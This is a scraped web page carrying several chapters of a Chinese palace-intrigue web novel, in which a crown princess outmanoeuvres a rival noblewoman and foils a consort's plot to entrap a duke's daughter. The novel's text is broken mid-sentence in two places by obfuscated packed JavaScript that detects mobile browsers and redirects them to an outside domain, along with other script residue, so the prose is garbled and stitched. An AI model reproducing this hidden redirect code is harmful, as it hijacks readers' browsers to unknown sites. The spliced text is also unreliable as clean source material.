l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693869|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然做到了。” 太医给顾彦昭换药的时候,她曾站在门外听过,那声音犹如受伤的猛兽的嘶吼,凄厉,骇人。 他那么疼。 可在她出现的时候,他会冲她笑。 她想,他一定是很在意她的。 人这一生,很难会碰到这样一个人。 既然遇上了,她就不想错过。 尤其是,以她如今的处境,尽早定亲是最好的。 不然,三皇子还会出手。这样一来,她身边还是会有人受伤。 这是她无论如何都不想看到的局面。 所以,不管从哪方面来看,顾彦昭都是一个很好的选择。 而她,也会逐渐看到顾彦昭的好。 大概,过上一段时间之后,她会和顾彦昭相见两欢。 不过,以后的事情谁说得准呢?先解决眼下的困局再说。 阮清辞的想法,洛云舒也猜到了一些。 她看着阮清辞,目光诚挚:“清辞,我希望你得遇良人,一生欢喜。” “会的。”阮清辞笃定道。 她坚信,幸福是掌握在自己手里的。 阮清辞走后,洛云舒得到了答案,给海云澜回了信。 信送出去之后,洛云舒有点高兴。 不管怎么说,至少从现在的局面来看,阮清辞已经摆脱了三皇子,不会再重蹈上一世的厄运。 这是个好消息,值得高兴。 重活一世,她也改变了阮清辞和阮家的命运。 真好。 这让她觉得自己所做的一切都是有意义的。 多做有意义的事,才能让人生充满期待。 一整天的时间,洛云舒的心情都很好。 第二日,赵皇后已经开始着手筹备选皇子妃的宴会,洛云舒也要过去陪着。 一来是熟悉皇室办宴会的流程,为以后做准备。 二来是为赵皇后分忧。 只是这一次,洛云舒过去的时候,赵皇后偷偷看了她好几眼,又在她发现之后挪开视线。 洛云舒觉得奇怪。 但是赵皇后不说,洛云舒不好直接问。 最终,赵皇后还是忍不住了:“云舒,本宫这里有件事,想和你商量一下。” 第109章 裴行渊生气 赵皇后话音落下的瞬间,洛云舒心里就已经有了猜测。 后宫的事情,赵皇后是用不着也不必跟她商量的。 除非,是和东宫有关的事情。 “您说。”洛云舒言辞恭谨。 果然,她没猜错。 “云舒,按理说你和行渊新婚燕尔,本宫不该在这个时候提起这个。可实在是受人所请,不得不先跟你提一提这件事。” “没关系,您说。” “是这样的。孔太傅的小女儿孔小姐你见过吧?” “见过的。” 非但见过,还印象深刻。 孔太傅一连生了五个儿子之后,老来得女,把孔诗雅宠得跟什么似的,亲自带在身边教养。 故而,孔诗雅诗词书画皆通,是京城有名的才女。 只是,孔诗雅家世好,性子过于高傲,眼高于顶,不把寻常人放在眼里。 “孔太傅与本宫的祖父是至交,昨日祖父送来亲笔信,说孔太傅有意让孔小姐入东宫。据说,是这位孔小姐爱慕行渊,先前得知陛下赐婚给你和行渊的消息之后就茶饭不思,短短几个月就瘦得脱了形,人也憔悴得不成样子。孔太傅心疼**,故而舍下老脸,求到了本宫的祖父面前。” “原来如此。”洛云舒认真询问,“既然孔小姐有意,那么她入东宫的份位就不能太低,至少也得是个良娣。母后,您觉得呢?” “是这样没错。”说着,赵皇后看着洛云舒的脸色,见她神色自然,不由得发问,“你不介意?” 洛云舒笑笑:“孔小姐容貌昳丽,又有才华,她愿意入东宫再好不过。不过,这毕竟是件大事,儿媳需要跟殿下商议之后再做决定。” “理当如此。” 晚上,等裴行渊回来之后,洛云舒主动提了这事。 听完之后,裴行渊没说话,只喝了一口茶。 洛云舒在他旁边坐下,分析道:“殿下,你我的合作结束之后,势必要选取新的太子妃乃至是皇后。孔小姐知礼守礼,又出身孔家,孔家又和赵大儒家里关系亲厚,无论从哪方面来说,她都是一个很合适的人选。更为难得的是,她倾慕您。倾慕您,就会倾尽全力为您分忧。这样一来,您可以免去很多麻烦。” 这时候,裴行渊抬头看她,语气淡淡的:“孤暂时没有这个打算,你也不必为此费心。这件事,孤会亲自去翊坤宫回绝母后。” 说完,裴行渊直接就走了,没去屏风后面安歇。 洛云舒看得出来,裴行渊有点生气。 但是她分析来分析去,也没觉得裴行渊为何生气。 最后,她觉得,大概是裴行渊不喜欢孔诗雅。 在这一点上,洛云舒觉得裴行渊有点意气用事了。 他如今被陛下猜忌,身份地位并不稳固,需要得到更多的支持。 孔诗雅是一个很好的选择。 可他居然不愿意。 洛云舒打算再劝劝。 隔日一早,洛云舒让人带上早饭,亲自去了裴行渊的寝殿里等着。 恰逢他上朝回来,洛云舒主动上前相迎:“殿下可用过饭了?” “还不曾。” “臣妾让人备了早膳,想与殿下一起用。” “好。”裴行渊点点头,脸上带笑。 见他心情好,洛云舒就觉得这件事成了一半。 饭桌上,她亲自为裴行渊布菜。 裴行渊的脸色,肉眼可见地好了起来。 饭后,待裴行渊漱过口之后,洛云舒再次提及:“殿下,孔小姐入东宫的事情,您是不是再考虑一下?孔太傅是您的老师,若是关系再近一层,或许会更好。” 孔诗雅若是入了东宫,裴行渊就是孔太傅的女婿,和从前相比,孔太傅自然会更加卖力。 毕竟,孔太傅在陛下面前很有脸面。 裴行渊面色一寒,很快又恢复如常,他放下手里的茶盏,凝视着洛云舒,缓缓道:“你只知其一,不知其二。眼下父皇并不希望我结交人脉,如果我在这个时候让孔小姐入东宫,会触动父皇的逆鳞。如此一来,我的处境也会更加不好。” 原先,洛云舒也想到了这一层,但是没有深究。 现在听裴行渊这么一说,她也觉得有点道理。 是她欠考虑了。 “而且……”裴行渊又说道,“倾慕我的人实在太多。若今日让孔小姐入了东宫,来日若是圆小姐方小姐也要入东宫,是不是也要一并答应?凡事开了先例,后面可就不好回绝了。” “殿下,是臣妾考虑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696625|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不周。” “不,你是太为我考虑,想让我有更多的助力。不管怎么说,你的出发点是好的,我不该责备你。但是另外还有个隐患你没意识到,眼下东宫人员简单,上下一心,可若是有新人进来,连同伺候的人一起,最少也是十几人。这么多的人,难保不会混进别人的人,这样会更难办。” 洛云舒坐得更端正了一些,正色道:“殿下教训的是。” “不,不是教训,是忠告。”裴行渊补充道。 “多谢殿下肯教我。” 裴行渊温和一笑:“是你足够勤勉好学,我说什么你都能听得进去。这件事你不必再费心,我亲自去同母后说。” 洛云舒明白,若是她去回绝赵皇后,赵皇后或许会以为是她善妒,容不下新人入东宫。 可若是裴行渊自己去说,那就不一样了。 大概,为了以后行事方便,裴行渊不想让赵皇后对她心生不喜。 洛云舒再次确定,裴行渊是一个很好的合作对象。 话说开之后,洛云舒心情愉悦,回柔仪殿的时候,遇上了明曦公主。 这阵子,明曦公主瞧着明媚了不少。 如今沈嬷嬷在她身边,照顾得也周到,明曦公主肉眼可见地圆润了一些,但并不显得丰腴,很耐看,也很讨喜。 看到她,洛云舒就觉得开心。 明曦公主也开心:“皇嫂,你做什么去了?” “殿下刚下朝,我陪他一起吃饭。” 明曦公主掩嘴一笑:“你们俩还真是一日不见,如隔三秋。不对,应该是一个时辰不见,如隔三秋。皇兄去上朝才多久啊,你就等不及了?” 洛云舒笑了,顺着她的话往下说:“对啊。殿下容貌俊美,看着他吃饭,是一种享受。” “哟哟哟,这话要是让皇兄听见,还不得把嘴笑歪?” 洛云舒只是笑,没再说什么。 她当然知道裴行渊不会听到这些。 因为她刚刚离开的时候,裴行渊去前面处理政事了。 陛下分派了一些棘手的差事给他,有些难办。 只不过,她没想到的是,这些话裴行渊听到了。 不仅是听到了,还听到了心里去,手也情不自禁地摸上了自己的脸…… 第110章 孤这张脸,生的如何? 这张脸,很好看么? 心里有这个想法的瞬间,裴行渊就放下了自己的手。 他自嘲一笑,他何曾在意过这张脸? 再说了,这张脸好看与否,又有什么要紧的? 男人的容貌,向来是最无关紧要的。 裴行渊转身,去了前殿。 处理正事的间隙,他起身伸展双臂,不由自主地走到了铜镜前,打量着自己。 又随口问侍立在一旁的寒七:“孤这张脸,生的如何?” 寒七向来寡言少语,他被问住,支支吾吾说不出口。 恰逢东方先生进来,听到了,立刻应道:“殿下龙章凤姿,容颜俊美,自然非寻常人可比。” 裴行渊看他一眼,嗔道:“男子的容貌算得上什么,也值得拿出来说?” “自然,和殿下的才干相比,您的容貌的确是逊色许多。” “东方先生,你果然是闲了。好端端的,说孤的容貌做什么?无聊!” 东方先生:“……” 晚上回去的时候,裴行渊在洛云舒面前坐下,用侧脸对着她。 他问过寒七了,相对而言,他的侧脸比正脸好看。 寒七话少,不似东方先生那般谄媚。 他的话,可信。 洛云舒原本在看账册,偶然抬头看到裴行渊,只觉得今日的他,格外俊美。 此刻,他用侧面对着她,背挺得很直,显得身姿挺拔,气质卓尔不凡。 用严格的宫规教养出来的太子,仪态自然没的说。 更为绝妙的是,侧面看的时候,能看到他清晰有力的下颌线,他偶然喝茶时,喉结滚动,尽显身为男子的魅力。 见状,洛云舒就知道为何京城有那么多女子对裴行渊趋之若鹜。 单看这张脸就已经足够赏心悦目,更何况,他还有如此显赫的身份。 容貌俊美,身份又尊贵,怎能不让人喜欢? 大概,现在的她,是很多女子的羡慕对象? 不,更确切地说,是嫉妒的对象。 毕竟,裴行渊在外人面前,一直宣称对她情根深种,事事都向着她。 看来,在未来的一段时间内,她要当一个很好的挡箭牌。 既然如此,欣赏如此俊美的容貌,也算得上是对她做挡箭牌的奖赏。 …… 隔日,洛云舒得到消息,安国公府已经派了教养嬷嬷教孙玉瑶规矩。 既然如此,洛云舒让严嬷嬷也把选好的人送到孙玉瑶跟前去。 从宫里送一个教养嬷嬷到孙玉瑶身边,是为了彰显她对孙玉瑶的重视,也是为孙玉瑶撑腰。 从更深层次来说,也是监视。 为了这件事,洛云舒还专门带上点心去前殿见裴行渊,向他说明自己做这件事的初衷。 “殿下,我的目的是先让孙玉瑶嫁进安国公府,同时,也故意张扬一些,吸引旁人的注意力,好让人不那么关注您。毕竟,您现在做的一些事需要低调些,太过高调难以成事。” 若相比之后,她做的事更出格一些,旁人就会不那么关注裴行渊,方便他做事。 听完,裴行渊眉眼含笑:“你做事,我向来是最放心的。这些事你只管去做,我自然会明白你的用意。天气炎热,你不必专门跑这么一趟。” “殿下,这是臣妾份内之事。” “你做得很好。”裴行渊笑着应了,伸手端走洛云舒正吃着的冰镇西瓜,“你已经吃了许多了,莫要贪凉。” 洛云舒眼神疑惑。 天气热,她格外喜凉,从不肯在饮食上亏待自己。 裴行渊也从不关注这个,今日倒是个例外。 这时,裴行渊说:“女子的体质本就弱一些,若是食用太多寒凉之物,对身子有害。身子若是不好,会误了正事。” 洛云舒立刻应道:“殿下说的是。” 当面当然要承认他说得对,背地里嘛,该吃还是要吃的。 天气这么热,不能亏待自己。 在这件事上,洛云舒打算阳奉阴违。 她和裴行渊又寒暄了几句,之后就回了柔仪殿。 今天,天气格外闷热,好在下午的时候下了一场大雨,驱散了暑气。 之后连着好几天,黄昏时分开始下雨,到了第二天又晴朗起来。 暑气消散,气温适宜,洛云舒的心情也好。 却在这时候,接到了孔诗雅的拜贴。 恰逢明曦公主也在,凑过来看了一眼,瞧见孔诗雅的名讳,她仔细瞧着洛云舒的脸色。 这个眼神,不大寻常。 洛云舒看她一眼:“怎么了?” “嫂嫂,孔诗雅和皇兄的事,您知道吧?” 洛云舒不动神色:“知道。” 明曦公主松了一口气:“原来你知道了啊,我还以为你不知道呢。” “又不是什么大不了的事。”洛云舒语气轻松。 “嫂嫂果然大气。也是,不过是月下对诗而已,又没做什么出格的事情,算不上什么大事。” 洛云舒的耳朵顿时支了起来。 月下对诗的事,她还真不知道。 裴行渊没说。 看来他和孔诗雅之间,没他说的那么清白。 可他又坚决拒绝孔诗雅入东宫,这就显得很奇怪。 不过,洛云舒并不纠结这个。 她和裴行渊只是合作,不介入他的感情生活。 眼下,既然孔诗雅送了拜贴,她自然要回复。 毕竟,孔太傅是裴行渊的老师,不看僧面看佛面,总不能不给孔太傅这个面子。 于是,洛云舒很快回了帖子。 按照帖子上约定的日子,孔诗雅第二天如约而至。 她身着一袭洁白的云锦天纱长裙,裙摆上用银线绣着数百只蝴蝶,行走间光影浮动,衬得那百蝶愈发生动,仿佛顷刻间就要展开翅膀,飞向裙角那朵硕大的魏紫牡丹。 这衣服,淡雅之中彰显贵气,可见是用了心思。 果然,世家贵女,绝不会在气度上弱于谁。 洛云舒坐在花厅里喝茶,隔着纱帘远远地看到孔诗雅走过来,再未抬一下眉眼。 “知意,泡茶。” 与此同时,孔诗雅在花厅前款款下拜:“臣女孔诗雅,求见太子妃娘娘。” 守门的宫婢很快进去,又出来复命,言辞客气:“娘娘正在品茶,请孔小姐稍等片刻。” 孔诗雅一怔,眼底怒意拂动。 第111章 是想让本宫为你择婿? 洛云舒端坐主位之上,悠然品茶。 隔着一层纱帘,孔诗雅的表情她看不到,也不关心。 待一杯茶喝完,洛云舒下了令,孔诗雅才进来。 她客气行礼,保持着一个世家贵女最基本的礼仪。 “臣女孔诗雅,见过太子妃娘娘。” 洛云舒看向她,面带浅笑:“免礼。” 只说免礼,并未赐座。 孔诗雅直起身子,怔了怔,随即从身后丫鬟的手中接过一方丝帕,双手捧起:“娘娘,这是臣女所绣的双面绣丝帕,敬献给娘娘。” 知意得了洛云舒的允准,走过去,接过丝帕,呈到洛云舒面前。 洛云舒看了一眼,并未去接,只浅浅笑着:“绣技不错。” 一时之间,孔诗雅脸上的镇定几乎维持不住。 她的绣技在京城是数一数二的,可到头来,居然只得到这四个字的评价! 她的绣技何止是不错,简直是登峰造极! 会绣双面绣的世家贵女,在京城不会超过十个! 而她在这其中,是绝无仅有的佼佼者! 这时,洛云舒又道:“孔小姐是来讨教绣技的?不如本宫找个东宫的绣娘过来,指点指点你?” 孔诗雅猛然抬头,看向洛云舒:“娘娘,您拿臣女和绣娘相比?” 洛云舒脸上笑意未减:“孔小姐这话倒是让本宫听不懂了。既然是讨教绣技,还分和谁相比吗?” 她没有料错,孔诗雅来这一趟,是来炫耀的。 炫耀绣技,只是开始。 果然,孔诗雅又道:“自然是分的。身份不同的人,不该拿来相比较。” 这是在含沙射影,说洛云舒身份低。 “可这世间身份尊贵之人,多的是德不配位的人。” “娘娘所说的只是少数,大多数都是名副其实的。再者,身份尊贵之人,自小的见识非寻常人所比。像这样的人,即便是嫁了人,也能给夫君最好的助力。总好过那些身份低微的,在其位不谋其政,反倒是害了自个儿的夫君。” “这话倒是有些道理。”洛云舒像是听懂了,含笑看向孔诗雅,“孔小姐这回过来,是想让本宫为你择婿?不过,像这种事情,是不是应该先问过太傅大人的意见?毕竟,本宫算不上是你的长辈,对你也不够了解,若是贸然为你择婿,只怕不大妥当。” 孔诗雅俏脸通红,她看着洛云舒,不再遮掩满身的怒气:“我倒是不知,堂堂太子妃,竟然是个拈酸吃醋,毫无容人之量的人!” “本宫也不知,名满天下的孔太傅,居然养出了这么个不懂尊卑的女儿!” 在言辞上,洛云舒从不会让自己落于下风。 今日,亦然。 孔诗雅看着洛云舒,突然就笑了:“寒门之女,一步登天,果真是这种耀武扬威的德行!” 洛云舒脸上的笑容倏然一收,冷声道:“太傅之女的德行也没好到哪里去?想必是太傅大人事忙,无从管教,既然如此,本宫就暂代太傅大人教训你一番。知意。” 得了洛云舒的吩咐,知意上前,甩了孔诗雅两个耳光。 这两个耳光打得很结实,很响亮。 孔诗雅的丫鬟顿时跳了起来:“你们、你们居然敢打我家小姐!” 知意话不多,也给了丫鬟两个耳光,斥道:“太子妃面前,有你说话的份儿吗?” 打完之后,知意直接让人把丫鬟拉了下去。 而孔诗雅,则被打懵了。 她转脸看向洛云舒:“你、你居然敢打我?” 洛云舒并不看她,只朝着候在外面的寒霜吩咐道:“寒霜,你去前厅走一遭。若是孔太傅在,请他过来一趟。” 这件事,要跟孔太傅说个明白。 免得孔诗雅回去之后添油加醋。 能让孔诗雅说这么多,已经是她能给孔太傅的最大脸面。 不然,随便一个臣子之女都能在她面前出言不逊,那她这个太子妃还是不要做了。 在能力所及的范围内,她不受气,也不受委屈。 孔太傅很快就来了。 看到孔诗雅脸上的指印,他很震惊。 待知意上前,将事情的来龙去脉说个清楚之后,孔太傅的脸色肉眼可见地沉了下去。 他看向孔诗雅,怒不可遏:“为父平日里就是这样教你的?” “父亲,原本就是她德不配位!” 孔太傅听得眼皮狂跳,一把捂住孔诗雅的嘴,又慌忙跟洛云舒告罪:“娘娘,是微臣教女无方,惊扰了您。回去之后,微臣定当严加管教,绝不会让今日的事情再次发生。” “可以。”洛云舒点了头。 孔太傅带着孔诗雅,迅速离开。 洛云舒心如止水。 明曦公主得知情况后赶过来,满眼写着佩服:“嫂嫂,你真是太厉害了!孔诗雅这个人向来骄傲,听说好多人背地里都叫她孔雀。她可从来没吃过这样的亏!” 洛云舒笑笑:“明曦,这就是学会规矩之后的好处。按照规矩,我是太子妃,她敢在我面前出言不逊,我就可以教训她。我按规矩办事,所以,即便是德高望重的孔太傅。也挑不出我的毛病。” 她想激励明曦公主继续认真学规矩。 毕竟,学规矩很枯燥,容易心生懈怠,半途而废。 “在学了在学了。”明曦公主连连点头。 之后,她偷偷地瞧了洛云舒一眼,在洛云舒发现之后,又扭脸看向别处。 洛云舒觉得好笑:“这是在做什么?” “嫂嫂,你不怕我皇兄生气吗?” “明曦,你又忘了。按照规矩,东宫内部的事情由我说了算。孔诗雅来拜见的是我,不敬的也是我,我是有金册宝印的太子妃,自然有身为太子妃的体面,你皇兄不会打碎我的体面。” 明曦公主点点头,有些不解:“可他们俩毕竟有月下吟诗的情意,你就不怕我皇兄在心里恼了你?” “不怕。” 至于原因,洛云舒没说。 她是真的不怕。 但,事情发生之后,裴行渊一直没过来,也没派人询问具体的情况。 这有点不太寻常。 毕竟,这件事和孔太傅有关。 甚至,天色暗下来之后,裴行渊也没有过来。 洛云舒心里不禁犯了嘀咕,想到了另一种可能。 第112章 殿下可有中意的女子? 有没有可能,裴行渊是生气了? 或者,是去孔府安抚孔诗雅了? 如果是这样的话,他之前的回绝就是对孔诗雅的保护。 他在保护孔诗雅,不想让她在局势尚未彻底明朗的时候踏入东宫这个泥潭。 未必就没有这个可能。 要真是这样的话,她今日让知意掌掴孔诗雅,无异于触动了裴行渊的逆鳞。 想到这儿,洛云舒不安地起身,但,也就不安了那么一下下,又很快安安稳稳地坐下。 她和裴行渊的合作是基于彼此心无秘密的情况下,如果裴行渊私底下对孔诗雅有情却不曾对她表明,那么,这就是裴行渊的过失,而不是她的。 所以,就算是裴行渊以此责备她,她也有话可说。 毕竟,裴行渊不曾有言在先。 他既然没说,那么,孔诗雅来东宫挑衅,身为太子妃的她自然不可能轻轻揭过。 她是太子妃,自然得有身为太子妃的威严。 不然,若是随随便便一个臣子之女都能到东宫来对她冷嘲热讽,那她这个太子妃还要不要做了? 所以,她没错。 要错,只能是裴行渊的错,怪不得她。 想清楚之后,洛云舒不再为此纠结。 却在这时候看到裴行渊从外面走进来。 他的表情无悲无喜,只是看着有点疲惫。 等裴行渊坐下之后,洛云舒让人给他倒了杯茶,这才开门见山,把孔诗雅来的事情一五一十地告诉了他。 听完之后,裴行渊的表情没什么波动,只平静道:“这些事由你负责,不必对我一一禀报,你自己看着拿主意就好。” 洛云舒点点头,又道:“殿下可有中意的女子?” 裴行渊一怔:“问这个做什么?” 洛云舒留意到,这个瞬间,裴行渊的耳朵微微发红。 看来,是被她言中了。 裴行渊的心里,绝对住着一个人。 洛云舒眼眸低垂,一副公事公办的语气:“若是有,还请殿下告知。不然若是什么时候遇上,怠慢了她,终究是我的不是。我不愿如此。” 事成之后,她还打算去过好日子呢。 可若是得罪了未来的皇后,她可就没好日子过了。 却在这时候,听裴行渊说道:“没有。” 洛云舒立刻判断出,他在说谎。 刚才,他的耳朵红了,明显是被说中了心事,现在又矢口否认。 前后矛盾。 洛云舒不死心,又道:“殿下,若有朝一日您有了心上人,请您务必告知我。毕竟,事成之后我要假死脱身,不想得罪未来的女主人。” “嗯。”裴行渊应了一声。 听他话音,情绪不大好。 但,他还是没说可曾中意谁。 大概,他有他的顾虑。 话说到这里,已经不好再继续问下去。 洛云舒在心里记下这件事,打算等以后再慢慢观察。 裴行渊大概是有些累了,去了净房后回来,直接就去屏风后面歇着了。 洛云舒心无旁骛,一夜好眠。 醒来后,洛云舒照旧要去翊坤宫,帮赵皇后处理赏花宴的事情。 所谓赏花宴,赏的不仅是争奇斗艳的鲜花,更是花一般的女子们。 赏花宴定在五日后,届时,三品官以上的夫人将会携带各自的女儿出席宴会。 而且,赏花宴的意图也已经放了风声出去,是为二皇子和三皇子择选皇子妃。 今日,洛云舒协助赵皇后确定最终的名单。 名单很长,足足写满了好几页纸。 在这上面,洛云舒还看到了霍娇娇的名字。 回东宫之后,闲聊时,明曦公主感慨:“居然有这么多女子想嫁进皇家。” “不是这样的。”洛云舒摇摇头,“她们之中或许有不愿意的,但是,无可奈何,还是要来参加这个宴会。” “为何?”明曦公主不解。 她以为,既然愿意参加这赏花宴,都是愿意嫁入皇家的。 “明曦,参加宴会的名单是母后拟定的。她拟定名单的时候,并不会派人去询问各家的意思。” “所以……”明曦公主诧异,“只要是适龄的女子,都在这名单之上?” “是。” 说完,二人彼此沉默。 雷霆雨露,皆是君恩。 皇家做事,不会考虑那么多。 当然,若是不愿意嫁入皇家,可以装病,也可以用其他的理由推脱,但,要冒着欺君的风险。 这个风险,不是所有人都愿意冒。 再者,若是不愿意被选中,在参加宴会的时候尽可能低调也就好了。 打扮不显眼,也不上赶着表现的人,被选中的可能很小。 但,身份尊贵的除外。 洛云舒已经打探到,霍贵妃打算为三皇子择选一个家世显赫的妻子。 这在洛云舒的意料之中。 阮清辞和顾彦昭有了婚约,霍贵妃自然要选择其他的目标。 她要给三皇子选择一个身份显赫的岳家,唯有如此,才能成为三皇子的助力。 身份显赫的世家小姐就那么几个。 洛云舒下令,让寒霜派人仔细查一查。 如果有可能,她不想让霍贵妃如愿。 在细密的查探之下,洛云舒得知,霍贵妃最中意的,是户部尚书之女,廖彤霞。 户部掌管天下钱粮,是个很紧要的地方。 霍贵妃这个选择,不让人意外。 五日后,赏花宴如期而至。 宴会的地点选在御花园中的驭风阁。 驭风阁内有几个大铜柱,铜柱里放了冰,可以确保里面足够凉爽。 一切已经布置好。 洛云舒随同赵皇后一起出现。 今日,后宫的诸位嫔妃也在。 一众贵女坐了两排,一个个都精心装扮,香气袭人。 驭风阁内放了花,赵皇后就提议以花为主题,命各位贵女作诗。 洛云舒坐在皇后身侧,将众贵女的表情尽收眼底。 到底是从小教养着长大的贵女,多数人都能做到喜怒不形于色,拿到纸笔之后,有人很快下笔,有人还在冥思苦想。 洛云舒不甚在意,只用眼角的余光时刻留意着霍贵妃的动静。 这时,她发现霍贵妃看的最多的,并非是户部尚书之女廖彤霞,而是顾彦昭的妹妹,顾清歌。 见状,洛云舒心里咯噔一声。 第113章 周围有人埋伏 几乎是一瞬间,洛云舒就明白过来。 霍贵妃在声东击西。 表面上,她放出消息,让别人误以为她中意的是户部尚书之女廖彤霞,实际上,她在隐藏她真正的目标——顾清歌。 顾清歌的父亲是大齐唯一的异姓王,也是大齐唯一一个因军功所封的王爷。 肃王在军中,很有声望。 而且,他有兵权在手。 如今,肃王独子顾彦昭又和丞相之女阮清辞有了婚约,这样一来,顾家与阮家也因为姻亲绑在一起。 那么,在这样的情况下,霍贵妃选择顾家,就等同于一起选择了顾家和阮家,可谓是一箭双雕。 所以,霍贵妃真正的目标是顾清歌。 而洛云舒之前一直琢磨的,是针对霍贵妃选择廖彤霞的策略。 可现在,事情出现了变故。 心中千头万绪,洛云舒却没在表面上显露出来。 她继续坐着,不动声色。 贵女们做的诗很快由宫女收集上来,传到赵皇后手里。 赵皇后粗略过了几眼,送到洛云舒手里。 洛云舒特意留意了一下顾清歌的诗,写的中规中矩,没有丝毫出彩的地方。 世家贵女,都是要学读书作诗的,顾清歌是肃王妃教养出来的姑娘,不至于把诗写成这个样子。 可见,顾清歌没有嫁入皇家的心思。 见状,洛云舒心里就有数了。 诗作很快传到了霍贵妃和诸位后妃手中,最终选出了几位佼佼者,赐了礼物。 户部尚书之女廖彤霞也在其中。 她的衣服和首饰今天也很显眼。 作诗之后,是各位贵女献艺的时间。 献艺之后,赵皇后吩咐下去,让诸位贵女自由活动,休息一会儿。 实则,是借着这个机会,观察诸位贵女的品行,好做最后的决断。 贵女们都退了出去,赵皇后、洛云舒连同一众后妃依旧在这里坐着。 驭风阁位置高,即便是坐在里面,也能将周围的一切尽收眼底。 眼下,不少贵女已经走出驭风阁,在外面的树荫下或闲谈,或赏花,十分热闹。 这时候,洛云舒趁机吩咐知意,让她留意顾清歌的动静。 霍贵妃的品性洛云舒了解得不多,但三皇子是个无所不用其极的人,洛云舒担心霍贵妃会趁着这个时候对顾清歌不利。 很快,跟着知意的小宫女回来禀报,说顾清歌和霍娇娇在一起说话。 可是,据洛云舒所知,顾清歌和霍娇娇之间并无交情。 洛云舒起身,朝着赵皇后拜了拜:“母后,儿臣有些闷,想出去走走。” “好。”赵皇后含笑应允。 洛云舒笑着还礼,迈步往外走。 却有一个端着酒盏的宫女进来。 宫女低着头,似乎是没瞧见洛云舒,横冲直撞地冲过来,洛云舒迅速闪到一旁,那宫女没撞上她,却也因此脚下一个不稳,跌倒在地,手里的东西也滚了一地。 她连连告饶:“娘娘饶命!娘娘饶命!” 这动静闹得极大,惊动了赵皇后和一众后妃。 赵皇后怒不可遏:“来人,拖下去!” 又看向洛云舒:“云舒,你没事吧?” “母后放心,儿臣没事。” “既然没事,且先下去歇息片刻,压压惊。” 洛云舒行礼退下。 一转身,她脸上淡淡的笑容消失不见。 这个宫女的出现,是为了拖住她。 可见霍贵妃的确有事要办。 刚出驭风阁,洛云舒迎面就遇上了知意。 知意有些慌:“娘娘,奴婢被人干扰,跟丢了顾小姐。” “带我去你最后跟丢的地方。” 果然,霍贵妃早有安排。 如意跟丢顾清歌的地方在御花园西北角的位置,有些偏僻。 洛云舒当机立断:“从这里分散开,重点注意无人居住的宫院。” 知意和灵雀立刻带人散开。 寒霜则紧紧跟随洛云舒。 洛云舒怀疑,霍贵妃是想趁着今天这个机会,直接生米煮成熟饭。 她并未慌乱,只站在那里,试图思考:如果她是霍贵妃,她会选择去哪里? 这段时间,她对宫里的布局已经很熟悉。 洛云舒很快选定一个方向,径直朝着那里走去。 这里有一个废弃的宫院,而且,周围足够空旷、安静、隐蔽。 刚靠近那里,寒霜警惕道:“娘娘,周围有人埋伏。” “几个?” “三个。” “能解决吗?”洛云舒问。 “可以各个击破,问题不大。” “好,去办。” 寒霜应了一声,指了一个方向,低声道:“娘娘,待您听到第二声猫叫之后,可以先从这里进去。” 第二声猫叫声响起,就意味着她已经解决了前两个人。 “好。”洛云舒点点头。 很快,她听到了第一声猫叫,继而,是第二声。 洛云舒立刻按着寒霜原先所指的方向走,但,刚走了没两步,就听到前面的花丛里传来细微的动静。 瞬间,洛云舒停下脚步。 难道,寒霜的判断出现了失误? 寒霜既然让她从这个方向走,应该是将一切潜在的危险解决了才对。 莫非,是身手在寒霜之上的高手? 洛云舒心生警惕,拔下头上的簪子。 她的簪子里面藏着一把簪刀,必要时可以保命。 寒霜就在附近,她只需要暂时拖住,问题不大。 洛云舒按兵不动,愈发攥紧手里的簪子。 却在这时候,听到花丛里有人小声唤道:“是、太子妃娘娘吗?” 像是、顾清歌的声音。 但是,洛云舒不太确定。 这时候,洛云舒听到了第三声猫叫。 寒霜已经把人全部解决。 洛云舒稍稍放心,这才低声说道:“是本宫。谁在那里?出来!” 一阵细碎的声响之后,顾清歌从花丛里钻了出来。 她的头发有些乱,上衣的扣子也没了两个,脸上还沾上了类似香灰的东西,看着很狼狈。 “怎么弄的?” 顾清歌嘴巴一扁,眼泪扑簌簌落下。 洛云舒大步上前,直接捂住顾清歌的嘴,低声道:“别发出大动静。现在不是哭的时候。” 寒霜还没回来,她担心会出现变故。 顾清歌很听话,立刻把嘴闭上。 周围,很安静。 洛云舒带着顾清歌,退到一堵矮墙下,低声问道:“发生了什么事?” 第114章 昨天的事情,多谢你 “那个霍娇娇居心不良,把我骗到一个偏殿里。我觉得不对,要出来,她拽我,我把她给打晕了。出来的时候碰到一个男的,厮打了一会儿,也把他打晕了。然后,在他身上发现了这个。” 说着,顾清歌捧出一个腰牌,交给洛云舒。 洛云舒看了看,是三皇子的腰牌。 顾清歌一脸挫败:“这是皇子的腰牌吧?我、我是不是要死了?” “不会。”洛云舒问,“那个偏殿在哪里?” 顾清歌指了指不远处的偏殿:“那里。” 这会儿,偏殿的门还开着。 恰好这时候,寒霜回来了。 “去看看。”洛云舒对寒霜说道。 就这样,寒霜在前,洛云舒和顾清歌在后,朝着那偏殿而去。 往前走了没多久,透过开着的殿门,洛云舒看到了躺在地上的三皇子。 再往里一些,是霍娇娇。 他们还都没醒过来。 见状,洛云舒招手让寒霜凑近,对她低声吩咐了什么。 寒霜点点头,进去没多久,又很快把门关上。 门关上之后,洛云舒带着寒霜和顾清歌去了不远处的阁楼。 阁楼位置高,视线也好,能看清偏殿周围的情景。 过了大概一刻钟,有一个后妃模样的人连同几个贵女朝着那偏殿走去。 洛云舒认出,那位后妃是刘昭仪。 刘昭仪带人靠近偏殿之后,先是派人隔着偏殿的门听了听,之后就让人打开了门。 打开门之后,就有议论声响起。 洛云舒唇角微扬:“走,咱们也下去凑个热闹。” 